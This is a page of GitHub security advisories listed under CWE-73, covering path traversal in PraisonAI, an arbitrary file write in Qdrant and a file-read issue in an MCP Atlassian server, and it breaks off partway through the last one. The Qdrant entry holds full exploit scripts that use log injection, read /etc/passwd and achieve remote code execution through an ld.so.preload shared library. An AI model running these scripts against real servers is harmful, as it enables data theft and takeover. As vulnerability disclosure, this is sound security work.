CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
1205 vulnerabilities reference this CWE, most recent first.
GHSA-F44V-7QGW-9GH9
Vulnerability from github – Published: 2026-06-18 14:24 – Updated: 2026-07-20 21:24Summary
PraisonAI's template loader accepts GitHub template URIs with refs, for example
github:owner/repo/template@v1.0.0. The resolver stores the user-controlled
template path and ref verbatim, and the cache layer later joins those values into
~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref> without
normalizing each segment or checking that the final path remains inside the
template cache root.
A crafted ref such as ../../../../../../outside-delete-target therefore
escapes the cache directory. The first load can write .cache_meta.json outside
the cache. If the normal cache hierarchy for the same owner/repo/template has
already been created, the same path reaches shutil.rmtree(cache_path) and
removes an attacker-selected outside directory before replacing it with cache
metadata.
This is distinct from the old template Zip Slip advisory. No malicious archive member is needed, and the PoV disables network access entirely. The bug is in cache-key construction for GitHub template URIs.
Affected versions
Confirmed vulnerable:
v2.6.0v3.9.24v3.9.26v4.5.126v4.5.128v4.6.9v4.6.10v4.6.56v4.6.57- current head
2f9677abb2ea68eab864ee8b6a828fd0141612e1
Recommended affected range: >= 2.6.0, <= 4.6.57.
No fixed version is known at the time of this report.
Impact
An attacker who can cause a user or service to load an attacker-supplied PraisonAI GitHub template URI can:
- create
.cache_meta.jsonoutside the template cache directory; - delete a directory reachable by the PraisonAI process after a normal cache entry exists for the same owner/repo/template prefix;
- corrupt user configuration, project state, or application data reachable by the process permissions.
Root cause
Current-head code path:
praisonai/templates/resolver.py:GITHUB_PATTERNcapturespathandrefwith broad regex groups and returns them without segment validation.praisonai/templates/security.py:is_source_allowed()allows GitHub sources by default whenallow_any_githubis true.praisonai/templates/registry.py:get_template()resolves a GitHub URI, fetches the template, calculates a checksum, then callsself.cache.put(...).praisonai/templates/cache.py:_get_cache_path()builds the cache path asself.cache_dir / "github" / resolved.owner / resolved.repo / resolved.path / ref.praisonai/templates/cache.py:put()removes an existingcache_pathwithshutil.rmtree(cache_path), recreates it, copies content, and writes.cache_meta.json.
There is no check equivalent to:
- reject absolute path segments;
- reject
./..in owner, repo, template path, or ref; - resolve the candidate path;
- require
os.path.commonpath([cache_root, candidate]) == cache_root.
Local-only PoV
Run from a PraisonAI source checkout:
from pathlib import Path
from tempfile import TemporaryDirectory
from praisonai.templates.cache import TemplateCache
from praisonai.templates.loader import TemplateLoader
from praisonai.templates.registry import TemplateRegistry
def loader(cache_dir):
cache = TemplateCache(cache_dir=cache_dir)
registry = TemplateRegistry(cache=cache, offline=False)
registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(
RuntimeError("network disabled")
)
return TemplateLoader(cache=cache, registry=registry)
with TemporaryDirectory(prefix="prai-cache-ref-pov-") as tmp:
root = Path(tmp)
cache_dir = root / "cache" / "templates"
write_target = root / "outside-write-target"
loader(cache_dir).load(
"github:attacker/repo/template@../../../../../../outside-write-target"
)
delete_target = root / "outside-delete-target"
delete_target.mkdir()
canary = delete_target / "canary.txt"
canary.write_text("delete-me")
ldr = loader(cache_dir)
ldr.load("github:attacker/repo/template@main")
ldr.load(
"github:attacker/repo/template@../../../../../../outside-delete-target"
)
safe_target = root / "safe-control"
safe_target.mkdir()
safe_canary = safe_target / "canary.txt"
safe_canary.write_text("must-remain")
loader(root / "safe-cache" / "templates").load(
"github:attacker/repo/template@main"
)
print("outside metadata written:", (write_target / ".cache_meta.json").exists())
print("outside canary exists after malicious ref:", canary.exists())
print("safe canary exists after normal ref:", safe_canary.exists())
Expected output:
outside metadata written: True
outside canary exists after malicious ref: False
safe canary exists after normal ref: True
The PoV uses only temporary directories and disables network fetches.
I also confirmed the same behavior without monkeypatching network fetches. With a non-existent GitHub repository, PraisonAI makes real GitHub requests, handles the failed fetch, returns a fallback template config, and still writes/deletes through the escaped cache path. The PoV above disables network only to keep the reproducer deterministic and harmless.
Release sweep
The same PoV was run against checked-out tags:
praisonai-current metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True
praisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True
git log shows the affected template cache/resolver/registry files were added
in the v2.6.0 release commit e7a8ce8e.
Suggested fix
Validate every cache path segment before joining:
- owner and repo: strict GitHub owner/repo-name regex;
- template path: split on
/and reject empty,.,.., and absolute forms; - ref: reject
/, path separators, empty segments,.,.., and absolute forms, or encode/hash the ref before using it in a filesystem path.
Then enforce a final boundary check:
cache_root = self.cache_dir.resolve()
candidate = (cache_root / "github" / owner / repo / safe_path / safe_ref).resolve()
if os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):
raise ValueError("template cache path escapes cache root")
A more robust design is to hash untrusted URI fields into opaque directory names instead of using raw remote identifiers as path segments.
Also consider failing closed when a GitHub template fetch returns no files. Currently a failed fetch can still result in a cached empty template directory.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.57"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "2.6.0"
},
{
"fixed": "4.6.59"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57113"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:24:55Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nPraisonAI\u0027s template loader accepts GitHub template URIs with refs, for example\n`github:owner/repo/template@v1.0.0`. The resolver stores the user-controlled\ntemplate path and ref verbatim, and the cache layer later joins those values into\n`~/.praison/cache/templates/github/\u003cowner\u003e/\u003crepo\u003e/\u003ctemplate\u003e/\u003cref\u003e` without\nnormalizing each segment or checking that the final path remains inside the\ntemplate cache root.\n\nA crafted ref such as `../../../../../../outside-delete-target` therefore\nescapes the cache directory. The first load can write `.cache_meta.json` outside\nthe cache. If the normal cache hierarchy for the same owner/repo/template has\nalready been created, the same path reaches `shutil.rmtree(cache_path)` and\nremoves an attacker-selected outside directory before replacing it with cache\nmetadata.\n\nThis is distinct from the old template Zip Slip advisory. No malicious archive\nmember is needed, and the PoV disables network access entirely. The bug is in\ncache-key construction for GitHub template URIs.\n\n## Affected versions\n\nConfirmed vulnerable:\n\n- `v2.6.0`\n- `v3.9.24`\n- `v3.9.26`\n- `v4.5.126`\n- `v4.5.128`\n- `v4.6.9`\n- `v4.6.10`\n- `v4.6.56`\n- `v4.6.57`\n- current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n\nRecommended affected range: `\u003e= 2.6.0, \u003c= 4.6.57`.\n\nNo fixed version is known at the time of this report.\n\n## Impact\n\nAn attacker who can cause a user or service to load an attacker-supplied\nPraisonAI GitHub template URI can:\n\n- create `.cache_meta.json` outside the template cache directory;\n- delete a directory reachable by the PraisonAI process after a normal cache\n entry exists for the same owner/repo/template prefix;\n- corrupt user configuration, project state, or application data reachable by\n the process permissions.\n\n## Root cause\n\nCurrent-head code path:\n\n- `praisonai/templates/resolver.py`: `GITHUB_PATTERN` captures `path` and `ref`\n with broad regex groups and returns them without segment validation.\n- `praisonai/templates/security.py`: `is_source_allowed()` allows GitHub sources\n by default when `allow_any_github` is true.\n- `praisonai/templates/registry.py`: `get_template()` resolves a GitHub URI,\n fetches the template, calculates a checksum, then calls `self.cache.put(...)`.\n- `praisonai/templates/cache.py`: `_get_cache_path()` builds the cache path as\n `self.cache_dir / \"github\" / resolved.owner / resolved.repo /\n resolved.path / ref`.\n- `praisonai/templates/cache.py`: `put()` removes an existing `cache_path` with\n `shutil.rmtree(cache_path)`, recreates it, copies content, and writes\n `.cache_meta.json`.\n\nThere is no check equivalent to:\n\n1. reject absolute path segments;\n2. reject `.` / `..` in owner, repo, template path, or ref;\n3. resolve the candidate path;\n4. require `os.path.commonpath([cache_root, candidate]) == cache_root`.\n\n## Local-only PoV\n\nRun from a PraisonAI source checkout:\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom praisonai.templates.cache import TemplateCache\nfrom praisonai.templates.loader import TemplateLoader\nfrom praisonai.templates.registry import TemplateRegistry\n\ndef loader(cache_dir):\n cache = TemplateCache(cache_dir=cache_dir)\n registry = TemplateRegistry(cache=cache, offline=False)\n registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(\n RuntimeError(\"network disabled\")\n )\n return TemplateLoader(cache=cache, registry=registry)\n\nwith TemporaryDirectory(prefix=\"prai-cache-ref-pov-\") as tmp:\n root = Path(tmp)\n cache_dir = root / \"cache\" / \"templates\"\n\n write_target = root / \"outside-write-target\"\n loader(cache_dir).load(\n \"github:attacker/repo/template@../../../../../../outside-write-target\"\n )\n\n delete_target = root / \"outside-delete-target\"\n delete_target.mkdir()\n canary = delete_target / \"canary.txt\"\n canary.write_text(\"delete-me\")\n\n ldr = loader(cache_dir)\n ldr.load(\"github:attacker/repo/template@main\")\n ldr.load(\n \"github:attacker/repo/template@../../../../../../outside-delete-target\"\n )\n\n safe_target = root / \"safe-control\"\n safe_target.mkdir()\n safe_canary = safe_target / \"canary.txt\"\n safe_canary.write_text(\"must-remain\")\n loader(root / \"safe-cache\" / \"templates\").load(\n \"github:attacker/repo/template@main\"\n )\n\n print(\"outside metadata written:\", (write_target / \".cache_meta.json\").exists())\n print(\"outside canary exists after malicious ref:\", canary.exists())\n print(\"safe canary exists after normal ref:\", safe_canary.exists())\n```\n\nExpected output:\n\n```text\noutside metadata written: True\noutside canary exists after malicious ref: False\nsafe canary exists after normal ref: True\n```\n\nThe PoV uses only temporary directories and disables network fetches.\n\nI also confirmed the same behavior without monkeypatching network fetches. With\na non-existent GitHub repository, PraisonAI makes real GitHub requests, handles\nthe failed fetch, returns a fallback template config, and still writes/deletes\nthrough the escaped cache path. The PoV above disables network only to keep the\nreproducer deterministic and harmless.\n\n## Release sweep\n\nThe same PoV was run against checked-out tags:\n\n```text\npraisonai-current metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True\npraisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True\n```\n\n`git log` shows the affected template cache/resolver/registry files were added\nin the `v2.6.0` release commit `e7a8ce8e`.\n\n\n## Suggested fix\n\nValidate every cache path segment before joining:\n\n- owner and repo: strict GitHub owner/repo-name regex;\n- template path: split on `/` and reject empty, `.`, `..`, and absolute forms;\n- ref: reject `/`, path separators, empty segments, `.`, `..`, and absolute\n forms, or encode/hash the ref before using it in a filesystem path.\n\nThen enforce a final boundary check:\n\n```python\ncache_root = self.cache_dir.resolve()\ncandidate = (cache_root / \"github\" / owner / repo / safe_path / safe_ref).resolve()\nif os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):\n raise ValueError(\"template cache path escapes cache root\")\n```\n\nA more robust design is to hash untrusted URI fields into opaque directory names\ninstead of using raw remote identifiers as path segments.\n\nAlso consider failing closed when a GitHub template fetch returns no files.\nCurrently a failed fetch can still result in a cached empty template directory.",
"id": "GHSA-f44v-7qgw-9gh9",
"modified": "2026-07-20T21:24:05Z",
"published": "2026-06-18T14:24:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f44v-7qgw-9gh9"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion"
}
GHSA-F5QP-6QPH-5F2C
Vulnerability from github – Published: 2024-08-13 18:31 – Updated: 2024-08-13 18:31Windows Compressed Folder Tampering Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-38165"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-13T18:15:23Z",
"severity": "MODERATE"
},
"details": "Windows Compressed Folder Tampering Vulnerability",
"id": "GHSA-f5qp-6qph-5f2c",
"modified": "2024-08-13T18:31:16Z",
"published": "2024-08-13T18:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38165"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38165"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F632-VM87-2M2F
Vulnerability from github – Published: 2026-02-05 21:22 – Updated: 2026-02-06 21:43Summary
It is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5
Details
POST /logger
(Source code link)
endpoint accepts an attacker-controlled on_disk.log_file path.
There are no authorization checks (but authentication check is present).
This can be exploited in the following way: if configuration directory is writable and config/local.yaml does not exist, set log path to config/local.yaml and send a request with a log injection payload. ThePATCH /collections endpoint was used with an invalid collection name to inject valid yaml.
After running the PoC, the content of config/local.yaml will be:
2025-11-11T23:52:22.054804Z INFO actix_web::middleware::logger: 172.18.0.1 "POST /logger HTTP/1.1" 200 57 "-" "python-requests/2.32.5" 0.009422
2025-11-11T23:52:22.056962Z INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui
service:
static_content_dir: ..
2025-11-11T23:52:22.057530Z INFO actix_web::middleware::logger: 172.18.0.1 "PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1" 404 113 "-" "python-requests/2.32.5" 0.001391
Some junk log lines are present, but they don't matter as this is still valid yaml.
After that, if qdrant is restarted (via legitimate means or by a OOM/crash), then local.yaml config will have higher priority and service.static_content_dir will be set to ... In a container environment, this allows one to read all files via the web UI path.
Also overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint).
Relevant requests:
- Enable on-disk logging to the config file:
curl -sS -X POST "http://localhost:6333/logger" \
-H "Content-Type: application/json" \
-d '{
"log_level":"INFO",
"on_disk":{
"enabled":true,
"format":"text",
"log_level":"INFO",
"buffer_size_bytes":1,
"log_file":"config/local.yaml"
}
}'
- Inject YAML via a request that logs newlines (URL-encoded):
curl -sS -X PATCH "http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a" \
-H "Content-Type: application/json" \
-d '{}'
Full reproduction instructions
- Start Qdrant with a writable configuration directory:
sudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5
- Run the exploit:
% python3 exploit.py --url http://localhost:6333
[+] Logger configured
[+] Log injection successful
[+] Logger disabled
Restart Qdrant cluster and press Enter to continue...
- Restart the container:
sudo docker restart qdrant-poc
- Resume the exploit:
<press Enter>
[+] Passwd file retrieved
--------------------------------
...
--------------------------------
[+] Config file retrieved
--------------------------------
...
Mitigation
- Limit usage of
/loggerendpoint to users with management privileges only (or better disable it completely). - Restrict the path of the log file to a dedicated logs directory.
This vulnerability does not affect Qdrant cloud as the configuration directory is not writable.
Exploit code
exploit_privesc.py
import requests
import sys
import argparse
parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API")
parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333")
parser.add_argument("--api-key", required=False, help="API key")
args = parser.parse_args()
url = args.url
headers = {}
if args.api_key:
headers["api-key"] = args.api_key
s = requests.Session()
s.headers.update(headers)
res = s.post(
f"{url}/logger",
json={
"log_level": "INFO",
"on_disk": {
"enabled": True,
"format": "text",
"log_level": "INFO",
"buffer_size_bytes": 1,
"log_file": "config/local.yaml",
},
},
)
res.raise_for_status()
print("[+] Logger configured")
res = s.patch(
f"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a",
json={},
)
error = res.json()["status"]["error"]
if "doesn't exist!" in error:
print("[+] Log injection successful")
else:
print(f"[-] Error: {error}")
sys.exit(1)
res = s.post(
f"{url}/logger",
json={
"on_disk": {
"enabled": False,
},
},
)
res.raise_for_status()
print("[+] Logger disabled")
input("Restart Qdrant cluster and press Enter to continue...")
res = s.get(f"{url}/dashboard/etc/passwd")
res.raise_for_status()
print("[+] Passwd file retrieved")
print("--------------------------------")
print(res.text)
print("--------------------------------")
res = s.get(f"{url}/dashboard/qdrant/config/config.yaml")
res.raise_for_status()
print("[+] Config file retrieved")
print("--------------------------------")
print(res.text)
print("--------------------------------")
exploit_rce.py
import requests
import argparse
import tempfile
import os
TEST_COLLECTION_NAME = "COLTEST"
parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API")
parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333")
parser.add_argument("--api-key", required=False, help="API key")
parser.add_argument("--cmd", default="touch /tmp/touched_by_rce")
parser.add_argument("--lib", default="")
args = parser.parse_args()
assert "'" not in args.cmd, "Command must not contain single quotes"
so_code = """
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void init() {
unlink("/etc/ld.so.preload");
system("/bin/bash -c 'XXXXXXXX'");
}
""".replace('XXXXXXXX', args.cmd)
with tempfile.TemporaryDirectory() as tmpdir:
with open(f"{tmpdir}/cmd_code.c", "w") as f:
f.write(so_code)
os.system(f'gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c')
cmd_so = open(f'{tmpdir}/cmd.so', "rb").read()
url = args.url
headers = {}
if args.api_key:
headers["api-key"] = args.api_key
s = requests.Session()
s.headers.update(headers)
res = s.post(
f"{url}/logger",
json={
"log_level": "INFO",
"on_disk": {
"enabled": True,
"format": "text",
"log_level": "INFO",
"buffer_size_bytes": 1,
"log_file": "/etc/ld.so.preload",
},
},
)
res.raise_for_status()
print("[+] Logger configured")
res = s.get(
f"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so",
)
print("[+] Log injected")
res = s.post(
f"{url}/logger",
json={
"on_disk": {
"enabled": False,
},
},
)
res.raise_for_status()
print("[+] Logger disabled")
rsp = s.post(f"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload", files={"snapshot": ("hui.so", cmd_so, "application/octet-stream")})
print(rsp.text)
# trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace`
input("Press Enter to continue...")
rsp = s.get(f"{args.url}/stacktrace")
rsp.raise_for_status()
Impact
Remote code execution.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "qdrant"
},
"ranges": [
{
"events": [
{
"introduced": "1.9.3"
},
{
"fixed": "1.15.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25628"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-05T21:22:50Z",
"nvd_published_at": "2026-02-06T21:16:18Z",
"severity": "HIGH"
},
"details": "### Summary\nIt is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5\n\n### Details\n`POST /logger`\n([Source code link](https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195))\nendpoint accepts an attacker-controlled `on_disk.log_file` path.\n\nThere are no authorization checks (but authentication check is present).\n\nThis can be exploited in the following way: if configuration directory is writable and `config/local.yaml` does not exist, set log path to `config/local.yaml` and send a request with a log injection payload. The`PATCH /collections` endpoint was used with an invalid collection name to inject valid yaml.\n\nAfter running the PoC, the content of `config/local.yaml` will be:\n\n```yaml\n2025-11-11T23:52:22.054804Z INFO actix_web::middleware::logger: 172.18.0.1 \"POST /logger HTTP/1.1\" 200 57 \"-\" \"python-requests/2.32.5\" 0.009422\n2025-11-11T23:52:22.056962Z INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui\nservice:\n static_content_dir: ..\n\n2025-11-11T23:52:22.057530Z INFO actix_web::middleware::logger: 172.18.0.1 \"PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1\" 404 113 \"-\" \"python-requests/2.32.5\" 0.001391\n```\n\nSome junk log lines are present, but they don\u0027t matter as this is still valid yaml.\n\nAfter that, if qdrant is restarted (via legitimate means or by a OOM/crash), then `local.yaml` config will have higher priority and `service.static_content_dir` will be set to `..`. In a container environment, this allows one to read all files via the web UI path.\n\nAlso overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint).\n\nRelevant requests:\n\n1. Enable on-disk logging to the config file:\n\n```bash\ncurl -sS -X POST \"http://localhost:6333/logger\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"log_level\":\"INFO\",\n \"on_disk\":{\n \"enabled\":true,\n \"format\":\"text\",\n \"log_level\":\"INFO\",\n \"buffer_size_bytes\":1,\n \"log_file\":\"config/local.yaml\"\n }\n }\u0027\n```\n\n2. Inject YAML via a request that logs newlines (URL-encoded):\n\n```bash\ncurl -sS -X PATCH \"http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{}\u0027\n```\n\n### Full reproduction instructions\n\n1. Start Qdrant with a writable configuration directory:\n\n```sh\nsudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5\n```\n\n2. Run the exploit:\n\n```sh\n% python3 exploit.py --url http://localhost:6333\n[+] Logger configured\n[+] Log injection successful\n[+] Logger disabled\nRestart Qdrant cluster and press Enter to continue...\n```\n\n3. Restart the container:\n\n```sh\nsudo docker restart qdrant-poc\n```\n\n4. Resume the exploit:\n\n```sh\n\u003cpress Enter\u003e\n[+] Passwd file retrieved\n--------------------------------\n...\n--------------------------------\n[+] Config file retrieved\n--------------------------------\n...\n```\n\n## Mitigation\n\n1. Limit usage of `/logger` endpoint to users with management privileges only (or better disable it completely).\n2. Restrict the path of the log file to a dedicated logs directory.\n\nThis vulnerability does not affect Qdrant cloud as the configuration directory is not writable.\n\n## Exploit code\n\n### `exploit_privesc.py`\n\n```python\nimport requests\nimport sys\nimport argparse\n\nparser = argparse.ArgumentParser(description=\"Exploit script for posting to Qdrant API\")\nparser.add_argument(\"--url\", required=False, help=\"Target URL for API\", default=\"http://localhost:6333\")\nparser.add_argument(\"--api-key\", required=False, help=\"API key\")\n\nargs = parser.parse_args()\n\nurl = args.url\n\nheaders = {}\nif args.api_key:\n headers[\"api-key\"] = args.api_key\n\ns = requests.Session()\n\ns.headers.update(headers)\n\nres = s.post(\n f\"{url}/logger\",\n json={\n \"log_level\": \"INFO\",\n \"on_disk\": {\n \"enabled\": True,\n \"format\": \"text\",\n \"log_level\": \"INFO\",\n \"buffer_size_bytes\": 1,\n \"log_file\": \"config/local.yaml\",\n },\n },\n)\nres.raise_for_status()\nprint(\"[+] Logger configured\")\n\n\nres = s.patch(\n f\"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a\",\n json={},\n)\nerror = res.json()[\"status\"][\"error\"]\n\nif \"doesn\u0027t exist!\" in error:\n print(\"[+] Log injection successful\")\nelse:\n print(f\"[-] Error: {error}\")\n sys.exit(1)\n\nres = s.post(\n f\"{url}/logger\",\n json={\n \"on_disk\": {\n \"enabled\": False,\n },\n },\n)\nres.raise_for_status()\nprint(\"[+] Logger disabled\")\n\ninput(\"Restart Qdrant cluster and press Enter to continue...\")\n\nres = s.get(f\"{url}/dashboard/etc/passwd\")\nres.raise_for_status()\nprint(\"[+] Passwd file retrieved\")\nprint(\"--------------------------------\")\nprint(res.text)\nprint(\"--------------------------------\")\n\nres = s.get(f\"{url}/dashboard/qdrant/config/config.yaml\")\nres.raise_for_status()\nprint(\"[+] Config file retrieved\")\nprint(\"--------------------------------\")\nprint(res.text)\nprint(\"--------------------------------\")\n```\n\n## `exploit_rce.py`\n\n```python\nimport requests\nimport argparse\nimport tempfile\nimport os\n\nTEST_COLLECTION_NAME = \"COLTEST\"\n\n\nparser = argparse.ArgumentParser(description=\"Exploit script for posting to Qdrant API\")\nparser.add_argument(\"--url\", required=False, help=\"Target URL for API\", default=\"http://localhost:6333\")\nparser.add_argument(\"--api-key\", required=False, help=\"API key\")\nparser.add_argument(\"--cmd\", default=\"touch /tmp/touched_by_rce\")\nparser.add_argument(\"--lib\", default=\"\")\n\nargs = parser.parse_args()\n\n\nassert \"\u0027\" not in args.cmd, \"Command must not contain single quotes\"\nso_code = \"\"\"\n#include \u003cstdlib.h\u003e\n#include \u003cunistd.h\u003e\n\n__attribute__((constructor))\nvoid init() {\n unlink(\"/etc/ld.so.preload\");\n system(\"/bin/bash -c \u0027XXXXXXXX\u0027\");\n}\n\"\"\".replace(\u0027XXXXXXXX\u0027, args.cmd)\n\nwith tempfile.TemporaryDirectory() as tmpdir:\n with open(f\"{tmpdir}/cmd_code.c\", \"w\") as f:\n f.write(so_code)\n os.system(f\u0027gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c\u0027)\n cmd_so = open(f\u0027{tmpdir}/cmd.so\u0027, \"rb\").read()\n\nurl = args.url\n\nheaders = {}\nif args.api_key:\n headers[\"api-key\"] = args.api_key\n\ns = requests.Session()\n\ns.headers.update(headers)\n\nres = s.post(\n f\"{url}/logger\",\n json={\n \"log_level\": \"INFO\",\n \"on_disk\": {\n \"enabled\": True,\n \"format\": \"text\",\n \"log_level\": \"INFO\",\n \"buffer_size_bytes\": 1,\n \"log_file\": \"/etc/ld.so.preload\",\n },\n },\n)\nres.raise_for_status()\nprint(\"[+] Logger configured\")\n\nres = s.get(\n f\"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so\",\n)\n\nprint(\"[+] Log injected\")\n\n\nres = s.post(\n f\"{url}/logger\",\n json={\n \"on_disk\": {\n \"enabled\": False,\n },\n },\n)\nres.raise_for_status()\nprint(\"[+] Logger disabled\")\n\n\nrsp = s.post(f\"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload\", files={\"snapshot\": (\"hui.so\", cmd_so, \"application/octet-stream\")})\n\nprint(rsp.text)\n# trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace`\n\ninput(\"Press Enter to continue...\")\nrsp = s.get(f\"{args.url}/stacktrace\")\nrsp.raise_for_status()\n```\n\n### Impact\nRemote code execution.",
"id": "GHSA-f632-vm87-2m2f",
"modified": "2026-02-06T21:43:57Z",
"published": "2026-02-05T21:22:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/qdrant/qdrant/security/advisories/GHSA-f632-vm87-2m2f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25628"
},
{
"type": "WEB",
"url": "https://github.com/qdrant/qdrant/commit/32b7fdfb7f542624ecd1f7c8d3e2b13c4e36a2c1"
},
{
"type": "PACKAGE",
"url": "https://github.com/qdrant/qdrant"
},
{
"type": "WEB",
"url": "https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "qdrant has arbitrary file write via `/logger` endpoint"
}
GHSA-F6PJ-QV47-G96W
Vulnerability from github – Published: 2026-09-22 20:36 – Updated: 2026-09-22 20:36Summary
The Jira and Confluence attachment upload tools accept caller-controlled file path parameters and read those paths from the MCP server's local filesystem before uploading the file as an Atlassian attachment.
In local stdio deployments, this can expose files readable by the user's MCP process. In documented HTTP/SSE or streamable-http deployments, the impact is higher: any MCP client that is allowed to invoke write/upload tools can cause the server process to read a server-local file and upload it to Jira or Confluence.
This is not dependent on an AI prompt injection or model behavior. It can be triggered deterministically with a normal MCP tool call.
Details
The vulnerable behavior exists because upload tool arguments are treated as server-local filesystem paths.
Relevant implementation points:
mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachment- Accepts
file_path. - Converts the supplied value to an absolute path when needed.
- Checks existence with
os.path.exists. -
Passes the path into the attachment upload flow.
-
mcp_atlassian.confluence.attachments.AttachmentsMixin._upload_attachment_direct - Opens the supplied
file_pathwithopen(file_path, "rb"). -
Sends the resulting file object as multipart form data to Confluence.
-
mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachments - Iterates caller-supplied
file_paths. -
Calls
upload_attachmentfor each path. -
mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachment - Accepts
file_path. - Converts the supplied value to an absolute path when needed.
- Checks existence with
os.path.exists. -
Opens the file and uploads it as a Jira attachment.
-
mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachments - Iterates caller-supplied
file_paths. -
Calls
upload_attachmentfor each path. -
mcp_atlassian.servers.jira.update_issue - Accepts an
